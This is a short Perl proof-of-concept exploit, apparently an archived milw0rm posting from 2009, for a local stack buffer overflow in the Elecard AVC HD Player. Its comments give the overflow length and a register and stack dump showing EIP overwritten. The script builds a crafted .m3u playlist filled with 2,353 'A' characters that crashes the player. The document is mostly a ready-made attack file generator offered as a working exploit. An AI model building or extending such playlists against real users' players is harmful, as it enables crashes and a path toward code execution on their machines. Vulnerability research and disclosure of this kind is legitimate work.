1 #!/usr/bin/perl
2 #Elecard AVC HD PLAYER m3u/xpl file Local Stack Overflow POC
3 #Found By AlpHaNiX
4 #From NullArea.Net
5 ###########################
6 # proof of concept
7 ###########################
8 #Stack Get Overflowed Starting from 2353 char
9 #EIP overitten
10 #−−−−−−−−−−−−−−−−−−
11 # REGISTRES
12 #−−−−−−−−−−−−−−−−−−
13 #EAX 00000000
14 #ECX 41414141
15 #EDX 775A104D ntdll.775A104D
16 #EBX 00000000
17 #ESP 0012BC9C
18 #EBP 0012BCBC
19 #ESI 00000000
20 #EDI 00000000
21 #EIP 41414141
22 #−−−−−−−−−−−−−−−−−−
23 # Dump From Stack
24 #−−−−−−−−−−−−−−−−−−
25 #0012D000 41414141
26 #0012D004 41414141
27 #0012D008 41414141
28 #0012D00C 41414141
29 #0012D010 41414141
30 #0012D014 41414141
31 #0012D018 41414141
32 #0012D01C 41414141
33 #0012D020 41414141
34 #0012D024 41414141
35 #0012D028 41414141
36
37 my $file = "alpix.m3u" ;
38 my $poc="http://"."A" x 2353 ;
39 open(alpix, ">>$file") or die "Cannot open $file";
40 print alpix $poc;
41 close(alpix);
42 print "\n[+] done ! , $file created";
43
44 # milw0rm.com [2009−02−02]
Page 1/1
Elecard AVC HD PLAYER m3uxpl file Local Stack Overflow PoC
AlpHaNiX
02/02/2009